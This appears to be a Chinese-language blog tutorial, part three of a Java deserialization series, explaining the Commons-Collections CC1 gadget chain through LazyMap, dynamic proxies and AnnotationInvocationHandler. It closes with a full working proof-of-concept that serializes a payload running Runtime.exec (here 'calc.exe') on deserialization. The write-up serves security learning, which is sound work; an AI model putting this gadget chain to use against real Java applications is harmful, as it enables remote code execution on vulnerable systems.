JAVA发序列化(3)

这是Java反序列化学习的第三篇文章

这回来讲一下最纯正的CC1链,因为CC1链中利用的是LazyMap而不是TransformedMap。那么LazyMap又是什么

LazyMap

LazyMapTransformedMap类似,都来自Common-Collections库,并继承AbstractMapDecorator

LazyMap的漏洞触发线和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行teansform,而Lazymap是在其get方法中执行的factory.transform。因为LazyMap的作用是懒加载,在get找不到值的时候,会调用factory.transform方法去获取一个值:

1
2
3
4
5
6
7
8
9
public Objecy get(Object key){
// create value for key if key is not currentls in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,在sun.reflect.annotation.AnnotationInvoctionHandlerreadObject方法中并没有直接调用到Map的get方法

所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

那么又如何能调用到AnnotationInvocationHandler#invokeysoserial的作者想到的是利用Java的对象代理

Java对象代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法__call,我们需要用到java.reflect.Proxy

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance的第一个参数是ClassLoader,我们用默认的就好了;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

比如下面的这样一个类ExampleInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}

ExampleInvocationHandler类实现了Invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串Hacked Objecy

在外部调用这个ExampleInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}

运行这个App之后发现,虽然向Map里放入的hello值为world,单数获取到的结果却是Hacked Object:

unserialization_3_1.png

我们回看sun.reflect.annptation.AnnotationInvocationHandler,会发现这个类实际就是一个InvocationHandler,如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

使用LazyMap构造利用链

在上一篇的poc的基础上进行修改,首先用LazyMap替换TransformedMap

1
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后,我们需要对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy:

1
2
3
4
5
6
7
8
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

1
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

最后修改完构造的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

而LazyMap也同样受版本的限制,8u71后的jdk版本,AnnotationInvocationHandler不会直接调用反序列化得到的Map,也就没用了。

但是P牛又说LazyMap的漏洞触发在getinvoke中,没有setValue什么事,所以8u71后不能利用的原因和AnnotationInvocationHandler#readObject中没有setValue没任何关系,关键还是和逻辑有关系